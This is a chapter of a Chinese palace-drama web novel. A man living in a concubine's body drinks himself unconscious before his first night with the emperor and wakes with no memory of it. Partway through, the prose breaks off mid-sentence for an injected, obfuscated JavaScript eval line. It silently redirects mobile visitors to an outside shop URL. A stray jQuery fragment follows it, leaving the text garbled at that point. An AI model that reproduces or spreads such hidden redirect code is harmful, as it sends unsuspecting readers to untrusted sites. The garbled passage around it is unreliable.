三个月养身的日子,到了。
那日一早,宣旨的内侍就来了。这一回来的是老熟人——头一次翻牌那晚过来传旨的那个面善的太监,如今见了老梁,脸上的笑比上一回还要深几分。
"恭喜拉妃娘娘。"他打了个千儿,"皇上今夜亥时,摆驾娘娘这偏殿。娘娘好生预备着。"
老梁欠了欠身,谢了恩。
那太监一走,屋里就静了下来。
娟儿在他身边站着,手上还捧着方才要往外送的一件披风。她低着头,什么也没说。可她的手,握着那披风的领口,一直没松。
老梁看了她一眼。
"娟儿。"
"娘娘。"
"你先出去。"老梁道,"我一个人待一会儿。"
娟儿抬起头,眼里那点担忧藏不住。她张了张嘴,最终什么也没问,屈膝退了出去。
门轻轻带上了。
老梁一个人站在屋里。
他没有立刻做什么。他就那么站着。窗外,是这个秋日里难得的一片薄阳,斜斜地打进来,落在梳妆台前那面铜镜上,反出一块柔和的白。
他慢慢地走过去。
他这几个月,日日在这面铜镜前坐着,让宫女给他上妆、卸妆。他看过这镜子里的脸无数次。可他从来没有真真正正地——看过。
他这一辈子的镜子,是用来打领带的。是照一照鬓角有没有白得太狠、脸有没有比昨天更肿。是那种一天看八回也不会多看一眼的东西。他从没想过有一天,他会站在一面铜镜前,想要弄清楚镜子里那个人,到底是什么。
他站住。
镜子里那个女人,望着他。
一张明艳的、年轻的脸。眉毛细,眼睛亮,嘴唇薄,脸颊上有一层这几个月养出来的淡淡的粉色。头发松松地挽在脑后,几缕碎发垂下来,落在耳边。
老梁望着那张脸。
那张脸也望着他。
——她今晚就要不是"她"了。
他慢慢地,抬起手。
那只手很白,指节细。他这几个月做惯了各种"娘娘"该做的动作,可他从没让自己的手,触到过自己身上。他每次沐浴,都是宫女伺候的。他每次换衣裳,也都是别人的手。他自己这具身子,对他而言,是他骑着跑的一匹马——他没下过马看看这匹马长什么样。
他的指尖,落在了自己的锁骨上。
那皮肤是凉的。也是暖的。凉是这个秋日的凉,暖是身子底下血肉的暖。
这具他借了三个多月的、他一直以为是"道具"的、他每天用来吃饭喝水说话谈单子的身子。
他的手指还没敢往下走。他只是停在那里。他能感觉到指尖底下,那点被他自己触碰而起的、极细的战栗——那不是他的战栗,那是这具身子的战栗。这具身子有它自己的反应。这具身子记得——它记得一个女人的身子被触碰时,该起什么样的反应。
他的呼吸更急了。
镜子里,那张脸的耳根,也一点一点红了。眼睛里那点亮的东西,起了雾。
老梁忽然有点站不住了。
他扶着梳妆台,倒退了一步。
镜子里那个女人也退了一步。
他望着镜子里那个人——她涨红的脸、她起雾的眼、她起伏得比方才急得多的胸口——他忽然明白了一件事。
**他不是骑着这具身子跑的。**
**是这具身子,驮着他跑了这三个多月。**
他这几个月的每一次谈笑、每一次哭、每一次装、每一次赢——都是这具身子替他撑下来的。是这具身子替他喝下的酒、是这具身子替他做的妃、是这具身子替他哭出的那几行泪、是这具身子替他挨了华府那一顿药、替他丢了那个孩子。
而今晚——今晚要被人拥住的,是这具身子。他梁志超只是在这具身子里头,跟着受这一遭。
他忽然觉得,自己欠这具身子。
欠它一句道歉。欠它一句谢。欠它——欠它一个他自己都说不清是什么的东西。
他重新望着镜子里那张脸。
镜子里那个女人也望着他。
他慢慢地,抬起手,指尖轻轻地,碰了一下镜子里那张脸的脸颊。
他心里,无声地说了一句。
"对不住。"
镜子里那张脸没答他。
只有铜镜里映着的那一块阳光,慢慢地,斜了下去。
老梁在铜镜前站了很久。
他不知道过了多久。等他回过神来的时候,那块阳光已经从铜镜上滑了下去,落到地上,快到墙根了。
他慢慢地转过身,走回榻边,坐了下来。
他这一整个人像被抽走了半条命。他也不知道方才那一段,是他这几个月里最狼狈的一次,还是最清醒的一次。
他忽然扛不住了。
他一个人扛不住了。
"娟儿。"他开口。
娟儿在门外应了一声,急急地进来。她一进屋,就看见了老梁那张脸——红的、乱的、眼里的雾还没散尽的。她愣了一下,随即什么也没问,走过来,在他脚踏边坐下。
"娘娘,"她轻声道,"您怎么了。"
老梁没答她。
他伸出手,握住了娟儿的手。
娟儿的手是温的,是干瘦的,指节上有做惯了活计的薄茧。这是他这几个月里,握过的最真的一只手。
"娟儿。"他开口,声音都不像他自己的了。
"娘娘。"
"你说,"他慢慢道,"人这一辈子,是不是就这么,让别人给过了。"
娟儿一愣。她听不懂这话。
"你说,"他又道,"我今晚要是……要是从那张床上下不来了,你就把我这几个月穿过的那几件衣裳收好,别扔。哪一件都别扔。"
娟儿的眼圈,一下子就红了。
"娘娘——"
"你别哭。"老梁看着她,"你哭我更没法子了。"
娟儿使劲眨了眨眼,把那点眼泪憋回去。她张了张嘴,想说点什么。
老梁笑了一下。那笑难看极了。
"娟儿,"他问,"你怕不怕死。"
娟儿被他这一问,眼泪终于没憋住。她伸手抹了一把脸,声音抖着:"娘娘,您别说这种话。今晚就是……就是侍寝而已。皇上待您那样好,能有什么事。"
"是啊。"老梁道,"能有什么事。"
他握着娟儿的手,握得紧了一分。
"娟儿,"他又开口,"我这些日子净跟你说些没头没脑的。你别往心里去。我就是——"
他没往下说。
娟儿也不催。她就那么把自己的手,反过来,握住了老梁的手。她的手比他的还小,可她握得极紧。
两个人就那么坐着。屋里那点阳光,一寸一寸地退到了墙根,又一寸一寸地,退了出去。
外头,天快黑了。
宫女们进来伺候梳妆的时候,老梁已经又变回了那个拉妃娘娘。
脸上什么都不显。
宫女们替他沐浴、熏香、上妆、鬓边插上一支小小的珠花,又替他换上一身极轻薄的、白纱裹身的寝衣。这一整套流程和第一次翻牌那晚一模一样。可老梁心里知道,这一回,是真的了。
第一次那晚他挣来了三个月。这一次他没得挣了。
梳妆到一半,他忽然开口,声音很轻:"给我上一坛酒。"
宫女一愣。
"上酒。"老梁又说了一遍,"要烈的。"
宫女不敢多问,屈膝退了出去。片刻,一坛酒被端了上来,搁在了内殿的桌上。
老梁自己走过去,坐下,倒了一杯。
他端起来,一饮而尽。
那酒是烈的,一下去,从喉咙一路烧到胃里。他脸上没什么表情。他重新倒了一杯。
娟儿在门口看着,眼里都是害怕。她想上前劝,又不敢。
老梁把第二杯也喝了。
他抬起头,望了娟儿一眼。
"今晚。"他开口,"我不能清醒着过。你懂吗。"
娟儿的眼泪又下来了。
她重重地点了点头。
老梁重新低下头,倒了第三杯。
他喝到第五杯的时候,殿外传来了通传的声音。
"皇上驾到——"
永昌帝进来的时候,老梁已经站起身,迎在了殿门口。
他这一杯一杯地灌,脸上已经有了微微的红。他的眼睛还是清醒的,可他自己知道,那清醒撑不了多久了。
永昌帝一进来,就看见了他,也看见了他手里那只酒杯。
"你——"永昌帝的眉头皱了一下。
"皇上。"老梁盈盈拜下,"臣妾这三个月,日日想着这一夜。臣妾自个儿备了酒,想陪皇上,好好喝一场。"
这话说得漂亮。可漂亮里头是什么,永昌帝一眼就看出来了。
他望着老梁那张脸——那眼里的水汽、那嘴角的强笑、那握着酒杯的手指微微的抖——他脸上那点最初的不悦,慢慢地,褪了下去。
他没有说破。
他走过去,在桌边坐下。他伸手,从老梁手里,接过了那只酒杯。他自己给自己倒了一杯,仰头喝了。
"陪你喝。"他道。
两个人就在这内殿里,喝上了。
老梁一杯,永昌帝一杯。老梁伏在案上斟酒,那只手在抖。斟酒的时候,酒液溢出了几滴。永昌帝看着,什么也没说,端起酒杯,又喝了。
老梁也喝了。他心里那根撑着的弦,在酒下去之后,一寸一寸地松。他脑子里的东西开始晃。桌角开始晃。永昌帝那张脸也开始晃。
他往嘴里灌了第七杯。第八杯。
永昌帝伸出手,按住了他的酒杯。
"够了。"
"不够。"老梁道。他自己都不知道自己在说什么了,"皇上,臣妾没醉。臣妾还能陪皇上再喝几杯。"
"婉清。"永昌帝道。
那个"婉清"叫得极轻。
老梁抬起头,望着他。
永昌帝望着他,那双总郁着的眼睛里,此刻有一种老梁没敢深想的东西。是心疼。是一种他不该心疼、可他还是心疼了的东西。
老梁忽然想笑。
——皇上,你哪知道你今晚拥的这具身子里,是个什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900902|212941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
样的东西。你哪知道你这一晚要过的,是这么荒唐的一夜。你要是知道了——
他没笑出来。他脑子里已经开始转了。整间屋子都开始转。他伸手想扶住桌角,可那桌角好像也在动。他把那只手悬在半空,扶了个空。
永昌帝站起身,走到他身边。
他弯下腰,从桌上,把那只烛台端了起来。
"睡吧。"他极轻地说。
他吹熄了蜡烛。
屋里一下子暗了下来。
老梁最后看见的一样东西,是永昌帝那张在蜡烛熄灭前一瞬、被烛火照亮的脸——
不是天子的脸。
是一个孤独男人的脸。
黑了。
他不知道自己什么时候醒的。
他先是听见了外头的鸟叫。然后他闻见了一股熟悉又陌生的香——是龙涎,是熏了一夜的、这个殿里独有的香。他慢慢地睁开眼。
一片明晃晃的白。
他躺在一张床上。那床极大,帐子是明黄色的,垂着金线绣的云纹。他脑子里"嗡"的一声。
——他不在自己那间偏殿。
这是乾元殿。
他仰面躺着,一动不敢动。他的脑袋像被人用锤子砸了一夜似的,一跳一跳地疼。他的嘴里是酒后那种腐掉的、苦的味道。他慢慢地转了转脖子——身边是空的。可那处有一个人躺过的、清晰的凹陷。被子还带着体温。
他这才慢慢地坐了起来。
坐起来那一瞬,他觉得自己身上——
他不敢想。
他慢慢地低下头,看了一眼自己身上。他还穿着那件白纱寝衣,可那寝衣有点乱。他也不知道是自己睡乱的,还是——
**——他妈的。**
他捂着自己的头,脑子里一片混乱。他昨晚的记忆断在永昌帝吹熄蜡烛那一刻。往后是黑的。是一整片什么都没有的黑。他中间做过什么、说过什么、发生过什么——他一样也想不起来。
他忽然想起来,他这辈子做过一次全麻的肠胃镜。
那年他四十二岁,公司体检,说他胃不太好,让他做一次肠胃镜。他怕疼,选了全麻的。医生让他躺下,护士给他手臂上打了一针,让他数数——他数到七,就没了。等他再睁眼的时候,他已经躺在观察室里了。中间那半个小时,他一点印象都没有。
昨晚这一夜,跟那次全麻,是一样的。
一样的躺下,一样的黑,一样的醒来。中间发生了什么,他一样都不知道。
区别只在——那次醒来,肚子里少了一样东西(几个息肉)。
这次醒来,他不知道自己身上,多了什么。
老梁坐在那张明黄色的大床上,忽然觉得,自己想笑,又想哭。
——他妈的。他梁志超,四十七岁,男,一辈子唯一一次进乾元殿的龙床,结果他一点印象都没有。
他要是把这事回去跟兄弟们讲——
他讲不了。他回不去了。
他把脸埋在自己的膝盖上,闷闷地,笑了一下。
那一下笑,比哭还难看。
殿门口传来了极轻的脚步声。
一个上了年纪的太监,捧着一件披风,无声地走到床边。他没有抬头看老梁,只是极恭敬地,把披风搁在了床沿。
他躬着身,退了两步。
在退到门口时,他极轻地开口,说了一个字。
"留。"
就一个字。
老梁抬起头,望着他。
那太监没有再多说一个字。他打了个千儿,退了出去。
殿里,只剩老梁一个人。
老梁坐在那张床上,久久没有动。
他不太懂"留"是什么意思。他隐约猜到,这是宫里侍寝之后的一种规矩——皇上要留下什么、留下什么表示什么,他不清楚。他只知道,"留"这个字,是重的。
他也没敢去问。
他慢慢地下了床。那件披风被他披上。他一个人走到殿门口,宫女们在外头候着,见了他,一个个屈膝行礼,眼神里那股说不出的东西,让他心里更堵。
他没让她们伺候。他一个人,一步一步地,从乾元殿走出来,走过长长的宫道,回到了自己那间偏殿。
娟儿在门口候了一夜,眼睛肿得像核桃。她看见他回来,扑上前,几乎要哭出来。
"娘娘——"
"没事。"老梁打断她,"没事。你去把门关上。"
娟儿把门关上了。
老梁走到榻边,坐下。
他坐了很久很久。窗外,是一整个明晃晃的白日。院子里那株桂树,秋深了,花已经落尽了。
他伸手,从枕头底下,把那支银簪取了出来。
他把它握在手心里。那簪子还是凉的。
他握了一会儿,又把它塞了回去。
他闭上眼。
窗外,一只鸟从桂树上飞了起来,扑棱棱地,飞到了极高极远的天上去。
他不知道自己身上,多了什么。他也不知道自己身上,少了什么。
他只知道,他从大限里,活下来了。
外头,宫里的日子,照样在过。